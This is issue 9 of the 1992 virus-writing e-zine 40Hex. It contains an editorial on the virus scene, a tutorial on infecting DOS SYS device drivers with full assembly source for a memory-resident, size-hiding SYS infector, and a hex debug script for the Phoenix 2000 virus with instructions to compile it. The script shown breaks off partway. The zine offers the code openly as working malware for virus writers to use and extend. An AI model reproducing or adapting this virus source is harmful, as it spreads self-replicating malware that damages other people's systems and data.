40Hex Number 9 Volume 2 Issue 5

40Hex Number 9 Volume 2 Issue 5                                       File 000

     Welcome to the ninth issue of 40 Hex!  This month brings lots of exciting
and neat-o stuff.  The feature article this month is Dark Angel's tutorial on
SYS infections.  As always, we have more virii news and more disassemblies and
yes, even more debug scripts.  A few quick notes:

     - Join PS/Net!  Contact your friendly neighborhood Phalcon/Skism sysop
       for details.

     - We have been copied extensively by virtually every virus group in
       existence and, with few exceptions, have not been given credit for
       our work.  It is getting tedious, to say the least, to reread what
       we have already written.  In the future, please don't be quite so
       lame.

     - Landfill is down again, but a new board, Liquid Euphoria, run by
       our newest member, Hawkmoon, has taken its place.  The board is
       stable and will not go down without warning, we promise!  Call it,
       love it, hold it as your own.  Special thanks to Hawkmoon for
       editing portions of 40Hex.

     - All are invited to contribute to 40Hex, be it in the form of an
       article, original virus, or whatever.  Contact a Phalcon/Skism
       board for details.

     - Finally, happy new year to all virus and anti-virus people everywhere!
       The new year promises to bring more nify innovations in both virii and
       viral toolkits from Phalcon/Skism.  Stay tuned.


                        40Hex-9 Table of contents
                            December 31, 1992

                File                          Description
             40Hex-9.000......................You Are Here!
             40Hex-9.001......................40Hex Editorial
             40Hex-9.002......................SYS Virii
             40Hex-9.003......................Phoenix 2000 Debug Dump
             40Hex-9.004......................More antidebugger techniques
             40Hex-9.005......................Virus Spotlite: 4096
             40Hex-9.006......................Nina disassembly
             40Hex-9.007......................A New Virus Naming Convention
             40Hex-9.008......................Code Optimization
             40Hex-9.009......................FirstStrike's Catfish virus


     Greets to:  All Phalcon/Skism members, FirstStrike, Apache Warrior,
                 [NuKE], ex-Senior Engineers of Data Plus, and virus writers
                 everywhere!

                                -)Gheap
40Hex Number 9 Volume 2 Issue 5                                       File 001


                             40-Hex Editorial:
                       VX:  What the Hell's happened?
                                by DecimatoR 

Please note, the opinions expressed herein are not necessarily those of all
the Phalcon/Skism members, and this article was not intentionally directed
towards one group or individual in particular.  


    1991:  The virus scene was almost nonexistent.  A handful of virus
boards populated the earth, the biggest being the Virus Exchange in 
Bulgaria.  In the US, only a very few boards had viruses.. and those which 
did ALL had less than 100.  If you had 80 viruses back then, you were God.  
Today, just one year later, if you have less than 800 you're LAME.  Viruses 
are everywhere.  Unfortunately, almost NONE of them are original.  They're 
all hacks of hacks of hacks of hacks, or else all cranked out by MPC or VCL,
the 2 virus generation programs in mass distribution.  No one (save a few) 
writes original code anymore.  The recent flood of lame viruses all prove 
that.  MPC and VCL account for over half of the "new" viruses released each
day - and ALL the viruses generated by those programs are scannable before 
they even get compiled.  So why do people keep using the programs?  Why 
create 30 viruses which all do the same thing, except maybe on a different 
day, or using a different text string?  Why?  I'll tell you why.  Because 
the kids using MPC and VCL are basically talentless programmers who think 
it's cool to stick their name in a program and pass it around.  They believe 
they'll achieve god-like fame in the underground by creating these little 
clones and changing a few bytes.  Are these people cool?  Hardly.  It takes 
true talent to create a virus.  It takes brains and skill to write a virus 
which will work as planned, avoid detection, and propagate itself.  The 
authors of MPC and VCL are very talented programmers.  Unfortunately, the
users of their programs are just the opposite.  REAL virus programmers have 
a desire to LEARN assembler - it's a test of their skill and ability.  The 
users of MPC and VCL don't have that desire.  They only have a desire for
recognition - and seeing their name in a virus is a massive ego trip for 
them.  Why?  They did nothing that any Joe Blow couldn't have done using a 
code generator.  If they REALLY want to prove how cool they are, let THEM 
write a damn virus generation program and release it.  THAT ALONE will show 
the world their skill and ability.  As for USING the program, well, I'm more 
impressed with a nicely formatted term paper using WordPerfect than I am 
with viruses created using MPC and VCL.  If you're one of the lame idiots 
who uses MPC or VCL for "writing" viruses, then listen up - those programs 
were written for 2 reasons - to prove the programmer could write such a 
thing, and to be used as a LEARNING TOOL for future virus writers - NOT to 
be abused the way they currently are.  Stop acting lame and actually CREATE 
an ORIGINAL virus for once, people!  And if you find that's impossible, then 
get the hell out of the scene and let the people who CAN program do it!

        Enough on that end.  Now it's time to bitch about the virus boards.  
These so called "elite" boards that have 1,255,443,453.7 viruses online for 
anyone to call up and leech.  These places where the little kiddies put 
thier newest MPC and VCL creation for all the other little kiddies, to show
how /<-RaD they are.  And as soon as one virus is put up, 300 people grab 
it, half of them send it off to other VX boards, and half ship it to the 
Anti-Virus boards.  What's the purpose?  The virus scene has become the same 
as the WAREZ SCENE!  Or, as Garbageheap puts it - Micro-Warez.

Micro-WareZ: n.   Viruses created by talentless individuals and passed 
                  around the way pirated software is. 
                  ie: "Hey D00dZ I got the newest MiCroWareZ from that
                       BBS in 404!!!  Now I'm up to 1,231,902!!!#!$@$~!"

Micro-Warez Pups: n. (pl) 1) Those individuals actively engaging in the 
                      collection, creation, and distribution of Micro-Warez.
                      2)  People who collect viruses simply because they 
                          want to have more than anyone else.  
                          See also: LAMERS

What's the point in these MicroWareZ (also known as VX) boards?  All the 
virus "authors" (I hate using that term - REAL virus authors don't frequent 
microwarez boards) anyway -all the virus authors send up their newest lame
little hacks, and in 15 minutes they're on all VX boards everywhere.  In 20 
minutes, the AV people are looking at them.  In 23 minutes the AV people 
have determined that the new Ware is just a lame little hack, and is already 
scannable by all virus scanners available.  In 23.2 minutes, the AV people 
have deleted the virus, and are back drinking coffee and chatting on the 
COMP.VIRUS Usenet echo, saying things like "Just found another lame little 
hack.  Nothing to worry about guys, not like this is anything new or 
ingenious or something.  My scanner catches it since July of 91."

        My point here is - WHAT THE HELL IS THE PURPOSE OF THIS?  AV people 
no longer have to wait for some unlucky infected soul to send them a copy of 
a new virus.  They simply call up the local VX board and download it before 
ANYONE gets infected.  Again I ask you - WHAT IS THE @*#$!%& PURPOSE?  It's 
not cool, it's not elite, its FUKKING STUPID!  Pardon the french.  The 
so-called Virus underground is no longer underground.  It's as open as 
the ANTI-VIRUS scene is.  Anyone can get anything they want, because NO ONE 
cares!  Everyone's got them, and anyone who wants them can find them.  The 
virus scene is no longer elite.  It's lamer then the warez scene is.  And 
it's a shame.  It once required talent and skill.  Now it requires the 
intelligence of a grapefruit...  well... not even that much.

        So the question remains - "Gee DecimatoR, if you're so against all 
this virus stuff, then what the hell are you doing in P/S?  Why do you run a 
virus board?"

        My answer:  I have a desire to LEARN, and MY board is private.  The 
number was changed, all users deleted, and only those with an interest in 
LEARNING will be allowed on.  Yes, I still have all the damn viruses.  Cause 
when the Gestapo decides it's time to make the creation, distribution, and 
possession of viruses illegal, I wanna be sure people will be able to find 
them somewhere.  I don't cater to microwarez pups, and I'm about as 
interested in the newest VCL creation as I am in the color of your undies.

Viruses illegal?  Yes, I'm sure they someday will be.  Unfortunately.  
Because when the Gestapo makes them illegal, it's taking away the rights of 
ALL Americans to freely create and use programs.  And that's the beginning
of the end of Democracy and American Freedom.  Anyway, that's enough bitching
for one day.  If I've pissed you off, good.  You're probably one of the 
lamers I was writing about.  If I haven't, well...  next time then.

           Till 40-Hex 10.....
                         
                             >   Peace   <

                                      --DecimatoR
40Hex Number 9 Volume 2 Issue 5                                       File 002

                   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
                   An Introduction to Nonoverwriting Viruses
                            Part III: SYS Infectors
                                 By Dark Angel
                   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  
       The SYS  file is the most overlooked executable file structure in DOS.
  Viruses are  quite capable of infecting SYS files, as DOS kindly allows for
  such extensions to this file format.
  
       The SYS  file is loaded beginning at offset 0 of a particular segment.
  It consists  of a  header followed  by code.   SYS  files  may  be  chained
  together after  a simple  modification in  the header.   This is the key to
  infecting SYS files.
  
       There are  two types  of device  drivers; block  and character.  Block
  devices include  floppy, hard,  and virtual disks, i.e. any media which can
  store data.   Character devices include printers, modems, keyboard, and the
  screen.   The virus  will generally  be a  character device,  as it reduces
  complexity.
  
  The header structure is straightforward:
  
  Offset  Size  Description
  ------  ----  -----------
    0h    DWORD Pointer to next header
    4h    WORD  Attribute
    6h    WORD  Pointer to strategy routine
    8h    WORD  Pointer to interrupt routine
   0Ah    QWORD Name of the device driver
  
  The pointer  to the next device driver header appears at offset zero in the
  header.  This is a far pointer consisting of a segment:offset pair.  If the
  current device  is the  only device  appearing in  the SYS  file, then this
  pointer should  be set  to FFFF:FFFF.   However,  if there  are two or more
  device drivers contained in the file, then the offset field should be equal
  to the absolute location of the next device in the file.  The segment field
  should remain  FFFF.   For example,  if a  second device  driver occurs  at
  offset 300h of the file, then the DWORD at offset 0 would be FFFF:0300  The
  second (and all other) device driver must contain a new header as well.
  
  The next  field contains  the attribute  of the  device  driver.    Bit  15
  determines the  nature of  the device  driver.   If bit 15 is set, then the
  device driver  header corresponds  to a  character device;  otherwise,  the
  device is  a block  device.   You need not concern yourself with any of the
  other bits; they may remain cleared.
  
  Before the  next two fields may be understood, it is necessary to introduce
  the concept  of the  request header.   The  request header  contains  DOS's
  requests of the device driver.  For example, DOS may ask for initialisation
  or a  read or  even a  status check.   The information needed by the device
  driver to interpret the request is all contained in the request header.  It
  is passed  to the  strategy routine  by DOS as a far pointer in ES:BX.  The
  job of the strategy routine is to save the pointer for use by the interrupt
  routine.   The interrupt  routine is  called by  DOS immediately  after the
  strategy routine.   This  routine processes  the request  in the header and
  performs the appropriate actions.
  
  The word-length  pointers in  the SYS  header to the strategy and interrupt
  routines are  relative to  the start  of the SYS file.  So, if the strategy
  routine resides  in absolute  offset  32h  in  the  file,  then  the  field
  containing the location of the strategy routine would hold the number 32h.
  
  The name  field in  the SYS header simply holds an 8 byte device name.  For
  example, 'NUL     '  and 'CLOCK$  '  are two  common DOS devices.  The name
  should be justified with space characters (0x20).
  
       By using  DOS's feature  of chaining  SYS files,  we may easily infect
  this type  of file.   No  bytes need to be saved.  There are but two steps.
  The first is to concatenate the virus to the target file.  The second is to
  alter the  first word  of the  SYS file  to point to the virus header.  The
  only trick  involved is  writing the  SYS interrupt routine.  The format of
  the request header is:
  
  Offset  Size  Description
  ------  ----  -----------
    0h    BYTE  Length of request header (in bytes)
    1h    BYTE  Unit code (for block devices)
    2h    BYTE  Command code
    3h    WORD  Status
    5h    QWORD Reserved by DOS
   0Dh    Var.  Data for the operation
  
       Only one  command code  is relevant  for  use  in  the  virus.    Upon
  initialisation of  the device driver, DOS will send a request header with 0
  in the  command code  field.  This is the initialisation check.  The format
  of the variable sized field in the request header in this case is:
  
  Offset  Size  Description
  ------  ----  -----------
   0Dh    BYTE  Number of units (ignored by character devices)
   0Eh    DWORD Ending address of resident program code
   12h    DWORD Pointer to BPB aray (ignored by character devices)
   16h    BYTE  Drive number (irrelevant in character devices)
  
       The only  relevant fields are at offset 3 and 0Eh.  Offset 3 holds the
  status word of the operation.  The virus fills this in with the appropriate
  value.   Generally, the virus should put a value of 100h in the status word
  in the  event of a successful request and a 8103h in the status word in the
  event of  a failure.   The 8103h causes DOS to think that the device driver
  does not  understand the  request.   A value of 8102h should be returned in
  the event  of a  failed installation.   Offset 0Eh will hold the address of
  the end  of the  virus (include  the heap!)  in the  event of  a successful
  installation and CS:0 in the event of a failure.
  
       Basically, the  strategy routine  of the virus should contain a simple
  stub to  save the  es:bx pointer.   The  interrupt routine  should fail all
  requests other  than initialisation.   It should perform an installation if
  the virus  is not  yet installed  and fail  if  it  is  already  in  memory
  (remember to set offset 0eh to cs:0).
  
  A sample  infector with very limited stealth features follows.  While it is
  somewhat large,  it may  be easily  coupled with a simple COM/EXE infection
  routine to  create a  powerful virus.   It  is a  SYS-only, memory resident
  infector.
  
  ---------------------------------------------------------------------------
  .model tiny
  .code
  org 0                           ; SYS files originate at zero
  ; SYS infector
  ; Written by Dark Angel of Phalcon/Skism
  ; for 40Hex
  header:
  
  next_header dd -1               ; FFFF:FFFF
  attribute   dw  8000h           ; character device
  strategy    dw  offset _strategy
  interrupt   dw  offset _interrupt
  namevirus   db  'SYS INF '      ; simple SYS infector
  
  endheader:
  
  author      db  0,'Simple SYS infector',0Dh,0Ah
              db    'Written by Dark Angel of Phalcon/Skism',0
  
  _strategy:  ; save es:bx pointer
          push    si
          call    next_strategy
  next_strategy:
          pop     si
          mov     cs:[si+offset savebx-offset next_strategy],bx
          mov     cs:[si+offset savees-offset next_strategy],es
          pop     si
          retf
  
  _interrupt:  ; install virus in memory
          push    ds                      ; generally, only the segment
          push    es                      ; registers need to be preserved
  
          push    cs
          pop     ds
  
          call    next_interrupt
  next_interrupt:
          pop     bp
          les     bx,cs:[bp+savebx-next_interrupt] ; get request header
  pointer
  
          mov     es:[bx+3],8103h         ; default to fail request
          cmp     byte ptr es:[bx+2], 0   ; check if it is installation
  request
          jnz     exit_interrupt          ; exit if it is not
  
          mov     es:[bx+10h],cs          ; fill in ending address value
          lea     si,[bp+header-next_interrupt]
          mov     es:[bx+0eh],si
          dec     byte ptr es:[bx+3]      ; and assume installation failure
  
          mov     ax, 0b0fh               ; installation check
          int     21h
          cmp     cx, 0b0fh
          jz      exit_interrupt          ; exit if already installed
  
          add     es:[bx+0eh],offset endheap ; fixup ending address
          mov     es:[bx+3],100h          ; and status word
  
          xor     ax,ax
          mov     ds,ax                   ; ds->interrupt table
          les     bx,ds:[21h*4]           ; get old interrupt handler
          mov     word ptr cs:[bp+oldint21-next_interrupt],bx
          mov     word ptr cs:[bp+oldint21+2-next_interrupt],es
  
          lea     si,[bp+int21-next_interrupt]
          cli
          mov     ds:[21h*4],si           ; replace int 21h handler
          mov     ds:[21h*4+2],cs
          sti
  exit_interrupt:
          pop     es
          pop     ds
          retf
  
  int21:
          cmp     ax,0b0fh                ; installation check?
          jnz     notinstall
          xchg    cx,ax                   ; mark already installed
  exitint21:
          iret
  notinstall:
          pushf
          db      9ah                     ; call far ptr  This combined with
  the
  oldint21 dd     ?                       ; pushf simulates an int 21h call
  
          pushf
  
          push    bp
          push    ax
  
          mov     bp, sp                  ; set up new stack frame
                                          ; flags         [bp+10]
                                          ; CS:IP         [bp+6]
                                          ; flags new     [bp+4]
                                          ; bp            [bp+2]
                                          ; ax            [bp]
          mov     ax, [bp+4]              ; get flags
          mov     [bp+10], ax             ; replace old flags with new
  
          pop     ax                      ; restore the stack
          pop     bp
          popf
  
          cmp     ah, 11h                 ; trap FCB find first and
          jz      findfirstnext
          cmp     ah, 12h                 ; FCB find next calls only
          jnz     exitint21
  findfirstnext:
          cmp     al,0ffh                 ; successful findfirst/next?
          jz      exitint21               ; exit if not
  
          push    bp
          call    next_int21
  next_int21:
          pop     bp
          sub     bp, offset next_int21
  
          push    ax                      ; save all registers
          push    bx
          push    cx
          push    dx
          push    ds
          push    es
          push    si
          push    di
  
          mov     ah, 2fh                 ; ES:BX <- DTA
          int     21h
  
          push    es                      ; DS:BX->DTA
          pop     ds
  
          cmp     byte ptr [bx], 0FFh     ; extended FCB?
          jnz     regularFCB              ; continue if not
          add     bx, 7                   ; otherwise, convert to regular FCB
  regularFCB:
          mov     cx, [bx+29]             ; get file size
          mov     word ptr cs:[bp+filesize], cx
  
          push    cs                      ; ES = CS
          pop     es
  
          cld
  
          ; The following code converts the FCB to an ASCIIZ string
          lea     di, [bp+filename]       ; destination buffer
          lea     si, [bx+1]              ; source buffer - filename
  
          cmp     word ptr [si],'OC'      ; do not infect CONFIG.SYS
          jz      bombout
  
          mov     cx, 8                   ; copy up to 8 bytes
  back:   cmp     byte ptr ds:[si], ' '   ; is it a space?
          jz      copy_done               ; if so, done copying
          movsb                           ; otherwise, move character to
  buffer
          loop    back
  
  copy_done:
          mov     al, '.'                 ; copy period
          stosb
  
          mov     ax, 'YS'
          lea     si, [bx+9]              ; source buffer - extension
          cmp     word ptr [si], ax       ; check if it has the SYS
          jnz     bombout                 ; extension and exit if it
          cmp     byte ptr [si+2], al     ; does not
          jnz     bombout
          stosw                           ; copy 'SYS' to the buffer
          stosb
  
          mov     al, 0                  ; copy null byte
          stosb
  
          push    ds
          pop     es                      ; es:bx -> DTA
  
          push    cs
          pop     ds
  
          xchg    di,bx                   ; es:di -> DTA
                                          ; open file, read/only
          call    open                    ; al already 0
          jc      bombout                 ; exit on error
  
          mov     ah, 3fh                 ; read first
          mov     cx, 2                   ; two bytes of
          lea     dx, [bp+buffer]         ; the header
          int     21h
  
          mov     ah, 3eh                 ; close file
          int     21h
  
  InfectSYS:
          inc     word ptr cs:[bp+buffer] ; if first word not FFFF
          jz      continueSYS             ; assume already infected
                                          ; this is a safe bet since
                                          ; most SYS files do not have
                                          ; another SYS file chained on
  
  alreadyinfected:
          sub     es:[di+29], heap - header ; hide file size increase
                                          ; during a DIR command
                                          ; This causes CHKDSK errors
         ;sbb     word ptr es:[di+31], 0  ; not needed because SYS files
                                          ; are limited to 64K maximum
  
  bombout:
          pop     di
          pop     si
          pop     es
          pop     ds
          pop     dx
          pop     cx
          pop     bx
          pop     ax
          pop     bp
          iret
  
  continueSYS:
          push    ds
          pop     es
  
          lea     si, [bp+offset header]
          lea     di, [bp+offset bigbuffer]
          mov     cx, offset endheader - offset header
          rep     movsb
  
          mov     cx, cs:[bp+filesize]
          add     cx, offset _strategy - offset header  ; calculate offset to
          mov     word ptr [bp+bigbuffer+6],cx            ; strategy routine
  
          add     cx, offset _interrupt - offset _strategy;calculate offset to
          mov     word ptr cs:[bp+bigbuffer+8], cx        ; interrupt routine
  
  continueinfection:
          mov     ax, 4300h               ; get file attributes
          lea     dx, [bp+filename]
          int     21h
  
          push    cx                      ; save attributes on stack
          push    dx                      ; save filename on stack
  
          mov     ax, 4301h               ; clear file attributes
          xor     cx, cx
          lea     dx,[bp+filename]
          int     21h
  
          call    openreadwrite
  
          mov     ax, 5700h               ; get file time/date
          int     21h
          push    cx                      ; save them on stack
          push    dx
  
          mov     ah, 40h                 ; write filesize to the old
          mov     cx, 2                   ; SYS header
          lea     dx, [bp+filesize]
          int     21h
  
          mov     ax, 4202h               ; go to end of file
          xor     cx, cx
          cwd                             ; xor dx, dx
          int     21h
  
          mov     ah, 40h                 ; concatenate header
          mov     cx, offset endheader - offset header
          lea     dx, [bp+bigbuffer]
          int     21h
  
          mov     ah, 40h                 ; concatenate virus
          mov     cx, offset heap - offset endheader
          lea     dx, [bp+endheader]
          int     21h
  
          mov     ax, 5701h               ; restore file time/date
          pop     dx
          pop     cx
          int     21h
  
          mov     ah, 3eh                 ; close file
          int     21h
  
          mov     ax, 4301h               ; restore file attributes
          pop     cx
          pop     dx
          int     21h
  
          jmp     bombout
  
  openreadwrite:
          mov     al, 2                   ; open read/write mode
  open:   mov     ah, 3dh
          lea     dx,[bp+filename]
          int     21h
          xchg    ax, bx                  ; put handle in bx
          ret
  
  heap:
  savebx   dw      ?
  savees   dw      ?
  buffer   db      2 dup (?)
  filename db     13 dup (?)
  filesize dw     ?
  bigbuffer db    offset endheader - offset header dup (?)
  endheap:
  
  end header
  ---------------------------------------------------------------------------
  
       The reason the "delta offset" is needed throughout the file is because
  it is  impossible to  know the  exact location  where the  SYS file will be
  loaded into memory.  This can be ameliorated by some file padding and fancy
  mathematical calculations.
  
       The advantages of using SYS files are manyfold.  There is no load high
  routine involved  apart from  the strategy/interrupt  routines.  This saves
  space.   SYS files  also generally  load before  TSR virus  checkers.   TSR
  checkers also  can't detect the residency routine of the virus, since it is
  a normal part of the DOS loading process.  The routine for the infection of
  the SYS  file is ridiculously easy to implement and takes remarkably little
  space, so  there is  no reason  not to  include  SYS  support  in  viruses.
  Finally, the  memory "loss"  reported by  CHKDSK  usually  associated  with
  memory resident viruses is not a problem with SYS files.
  
       A SYS  file infector,  when  combined  with  a  COM  and  EXE  general
  infector, can  lead to  a powerful  virus.   Once the  first  SYS  file  is
  infected, the infected system becomes extremely vulnerable to the virus, as
  there is  little the user can  do to prevent the virus  from running, short
  of a clean boot.
40Hex Number 9 Volume 2 Issue 5                                       File 003


Below is the debug script for the Phoenix 2000 virus.  Let's see what Patti
Hoffman's VSUM has to say about it:

                                 Phoenix 2000
 
 Virus Name:  Phoenix 2000 
 Aliases:    
 V Status:    Rare
 Discovered:  December, 1991
 Symptoms:    .COM file growth; .EXE files altered; TSR; decrease in total
              system and available free memory
 Origin:      Bulgaria
 Eff Length:  2,000 Bytes
 Type Code:   PRshAK - Parasitic Resident .COM & .EXE Infector
 Detection Method:  ViruScan, AVTK 5.54+, UTScan 22.00+
 Removal Instructions:  Delete infected files

 General Comments:
       The Phoenix 2000 virus was received from The Netherlands in December,
       1991, where it was uploaded to several BBSes by a person identifying
       themself as "Dark Avenger".  This virus originated in Bulgaria, and
       is closely related to the earlier V82 virus.  Phoenix 2000 is a
       memory resident infector of .COM and .EXE files, as well as
       COMMAND.COM.

       The first time a program infected with Phoenix 2000 is executed, the
       Phoenix 2000 virus will become memory resident at the top of system
       memory but below the 640K DOS boundary.  It will also install a
       small TSR in low system memory of 112 bytes.  The virus at the top
       of system memory is 8,192 bytes in size, this is the amount total
       system memory as indicated by the DOS CHKDSK program will decrease
       by.  The decrease in available free memory will be slightly more.
       The Phoenix 2000 virus hooks interrupt 2A.  Interrupt 12's return
       will not have been moved.

       Once Phoenix 2000 is memory resident, it will infect .COM and .EXE
       programs, including COMMAND.COM, when they are opened, executed,
       copied, or accessed in any way.  While it will always infect .COM
       files, .EXE files are only successfully infected if they contain
       2,000 bytes of binary 00 characters in a continuous block.  If the
       2,000 bytes of binary 00 characters do not exist, the file may be
       partially infected, but will not be replicating copy of the virus.

       .COM programs, other than COMMAND.COM, will have a file length
       increase of 2,000 bytes with the virus being located in the middle
       or end of the infected file.  Phoenix 2000 is unable to identify
       previous infections of itself on infected .COM files, so they
       may become reinfected by Phoenix 2000, adding an additional 2,000
       bytes to the file for each reinfection.  There will be no change
       to the file's date and time in the DOS disk directory listing.

       COMMAND.COM and .EXE files will not have a file length increase when
       they are infected with the Phoenix 2000 virus.  In these two cases,
       the virus will overwrite 2,000 bytes of binary 00 characters within
       the file with the virus code.  For .EXE files with less than 2,000
       bytes of binary 00 characters, the file will be partially infected
       and may not function properly as a result.

To create the virus, simply copy the script below to a file called
"Phoenix.lst" and type:
        debug < phoenix.lst > nul
                                                Dark Angel
-------------------------------------------------------------------------------
n phoenix.com
e 0100  E8 00 00 5E 95 B9 D6 03 51 8B FE 33 D2 2E 33 54 
e 0110  1F 46 46 49 79 F7 58 2E 31 55 1F 47 47 48 79 F7 
e 0120  87 C9 87 F6 87 D2 FA 81 C6 4F F8 1E E8 86 01 8E 
e 0130  C7 4F 26 3B 5D 78 74 0F 80 6D 02 02 1F 1E 80 EF 
e 0140  02 3B 1D 73 02 89 1D 83 C7 76 B8 D5 06 AB 8B C3 
e 0150  AB 06 1F B9 00 20 B0 2E F2 AE 81 3D FF 1E 75 F8 
e 0160  8B 7D 02 81 C7 D0 06 B8 59 07 AB 93 AB FF 75 FA 
e 0170  FF 75 F8 0E 1F 8B DE 8A FB 03 9C 57 01 56 8E C0 
e 0180  33 FF B9 22 00 8B C6 3A C3 74 02 3A C7 AC 74 01 
e 0190  AA E2 F2 AF B9 D9 03 F3 A5 5E 58 AB 58 AB 92 48 
e 01A0  AB 51 B2 80 B4 08 9C 26 FF 5D FA 58 AA 72 0C 80 
e 01B0  FA 02 73 05 80 FE 04 72 02 B4 FE AB 07 FB 56 81 
e 01C0  C6 4A 01 B9 E8 03 EB 49 E8 EA 00 8E DF 3B 5D 77 
e 01D0  74 2D BF 4C 00 C4 5D D0 B4 13 CD 2F 06 B0 F5 E6 
e 01E0  60 33 C0 E6 61 8E C0 93 AB 58 AB BA 80 00 B9 01 
e 01F0  00 B8 11 03 CD 13 FE C5 75 F7 80 C1 40 EB F2 95 
e 0200  E8 00 00 5E 83 C6 C5 56 0E 1F 81 C6 82 00 B9 80 
e 0210  00 BF FD 00 8C DA 01 54 0B 3B 54 0B 75 3B A5 A4 
e 0220  A5 A5 5F AD 8B DE 8B F0 06 1F 2E FF 2F F3 A5 96 
e 0230  8B F9 C6 05 4D 89 55 03 42 26 29 55 03 B4 50 CD 
e 0240  21 0E 1F 8E C3 8D 5C 09 EB DE F3 AA 95 00 00 00 
e 0250  00 C3 C3 FD 00 00 00 21 20 03 54 07 8B 4C 03 56 
e 0260  8B 74 05 E3 0C AD 93 AD 03 C2 8E C0 26 01 17 E2 
e 0270  F4 8E C2 AD 91 E3 07 AD 93 26 01 17 E2 F9 8C C0 
e 0280  80 C4 10 8E C0 33 C2 75 EA 5E B1 11 8C DB 2B D3 
e 0290  2B D9 8E DB 8B FA 2B F9 B1 04 D3 E7 83 EF 0F 43 
e 02A0  3B F7 73 9D 4A 03 DA 8E C3 43 96 89 5C 01 8B FE 
e 02B0  B1 88 E9 78 FF FC BF 03 00 8C DB 4B 8E DB 43 03 
e 02C0  1D 80 7D FD 5A 75 F5 C3 72 FD 50 B8 20 12 CD 2F 
e 02D0  72 0A 53 26 8A 1D B8 16 12 CD 2F 5B 5E 72 E8 06 
e 02E0  1F C6 45 02 02 FF 75 05 33 C0 87 45 17 50 33 C0 
e 02F0  87 45 15 50 56 BA 03 04 B1 80 84 75 04 75 39 80 
e 0300  FD 3E 75 05 BA 02 00 B1 C0 22 4D 05 75 2B 2E 89 
e 0310  16 DD 07 8B 45 28 3D 45 58 74 13 3D 43 4F 75 13 
e 0320  3B 45 20 B8 4D 4D 75 06 3B 45 22 75 01 41 3A 45 
e 0330  2A 74 09 80 FD 4B 74 04 F9 E9 A8 02 51 0E 1F BA 
e 0340  C5 17 B9 1A 00 B4 3F CD 21 33 C8 F9 75 4D 8B F2 
e 0350  AD 3D 4D 5A 74 4A 3D 5A 4D 74 45 26 3B 4D 13 F9 
e 0360  75 39 A3 4D 01 AD A3 4F 01 26 8B 45 11 2D 10 08 
e 0370  72 29 26 89 45 15 50 E8 A4 02 72 1D 8B F2 8B 04 
e 0380  A3 51 01 B5 AB 88 2E 4B 01 32 C4 75 0C 50 E8 7C 
e 0390  02 58 72 05 AC 32 C4 E1 FB 91 5A 59 72 9B 74 2A 
e 03A0  74 42 84 C9 75 92 33 F6 3D D2 06 72 1D 26 8A 45 
e 03B0  12 F6 D0 A8 38 74 81 58 50 86 C4 33 D2 26 8B 75 
e 03C0  11 83 EE 03 F7 F6 83 C2 03 49 51 26 89 55 15 8B 
e 03D0  C2 2D 03 00 C6 06 C5 17 E9 A3 C6 17 B9 FD 00 33 
e 03E0  C0 E9 18 01 8B 44 16 26 89 45 15 B1 04 E8 30 02 
e 03F0  72 A9 D1 E8 87 44 06 48 48 A3 51 01 01 44 0C 01 
e 0400  44 14 40 40 B1 10 3A E1 F5 72 90 F7 E1 87 54 04 
e 0410  8B CA D1 E2 D1 E2 03 54 16 2B C2 72 EC 83 7C 0A 
e 0420  00 74 0F 50 2D F2 07 73 17 D1 E0 03 D0 72 11 2B 
e 0430  D0 58 2D 22 01 73 06 D1 E0 03 D0 73 CB 33 C0 50 
e 0440  8B 44 16 2B D0 5E 72 C1 56 80 E2 FC 03 D0 26 89 
e 0450  55 15 2B D0 D1 EA D1 EA BE E5 07 56 2D 20 00 73 
e 0460  0A 83 EE 04 05 04 00 4A 79 01 42 89 16 4D 01 2B 
e 0470  CA 73 02 33 C9 A3 4F 01 5A 51 D1 E1 D1 E1 75 09 
e 0480  3B F2 74 05 26 80 45 15 04 B4 3F CD 21 59 72 56 
e 0490  26 29 45 15 57 53 BF DF 17 32 D2 51 56 57 AF 57 
e 04A0  E3 23 AD 8B F8 AD D1 C0 D1 C0 D1 C0 D1 C0 8B D8 
e 04B0  80 E3 F0 03 DF 14 00 24 0F 3A C2 75 06 5F 89 1D 
e 04C0  47 47 57 E2 DD 58 5B 5E 59 8B F8 2B C3 D1 E8 48 
e 04D0  89 07 42 80 FA 10 75 C3 5B 5F BA DF 17 D1 E1 83 
e 04E0  C1 20 B4 40 CD 21 5E 59 72 7E 51 26 8B 4D 15 83 
e 04F0  E9 20 33 C0 87 0E D9 17 87 06 DB 17 89 0E 53 01 
e 0500  A3 55 01 59 58 41 56 52 51 53 33 D2 B9 90 00 F7 
e 0510  F1 E8 40 01 A3 14 00 E8 3A 01 A3 1E 00 92 B2 06 
e 0520  F6 F2 BE E1 07 E8 00 01 BB D8 05 E8 06 01 BB E0 
e 0530  07 BE AC 05 B9 26 00 AC 24 3F 74 1F 50 24 07 D7 
e 0540  B4 F8 92 58 51 B1 03 D2 E8 74 07 D7 D2 E0 0A D0 
e 0550  B6 C0 59 20 B4 53 FA 08 94 53 FA E2 DA 91 5B 59 
e 0560  5E 84 C9 75 26 E8 A5 00 72 77 91 26 03 45 11 2B 
e 0570  C1 26 89 45 15 FE C4 A3 51 01 C6 06 4B 01 A5 B4 
e 0580  40 CD 21 33 C1 75 5A 26 89 75 15 06 57 99 A3 57 
e 0590  01 96 EC 24 1F 91 EC 24 1F 1E 07 BF E1 07 F6 84 
e 05A0  AC 05 80 74 04 E8 B6 00 91 A4 81 FE 20 00 75 EE 
e 05B0  E8 AB 00 AD B9 D7 03 AD 33 06 D8 07 33 D0 AB E2 
e 05C0  F6 33 54 08 31 55 E0 5F 07 5E 56 B4 40 E8 3F 00 
e 05D0  33 C8 75 0D 26 89 4D 15 BA C5 17 B1 18 B4 40 CD 
e 05E0  21 B5 3E F9 58 06 1F 8F 45 15 8F 45 17 73 11 8A 
e 05F0  45 0D F6 D0 A8 1F 74 08 80 4D 0D 1F 80 65 05 BF 
e 0600  58 0A C4 24 40 08 45 06 B4 3E CD 21 C3 B4 3F B9 
e 0610  00 01 BA C8 00 85 F6 74 0C B9 D0 07 EB 04 B1 02 
e 0620  B4 3F BA E1 07 CD 21 C3 BB D2 05 E8 08 00 88 04 
e 0630  46 BB D5 05 8A C4 D0 E8 8A D0 50 14 01 3C 03 72 
e 0640  02 2C 03 0A D0 D7 88 04 46 58 D7 88 04 46 8A C2 
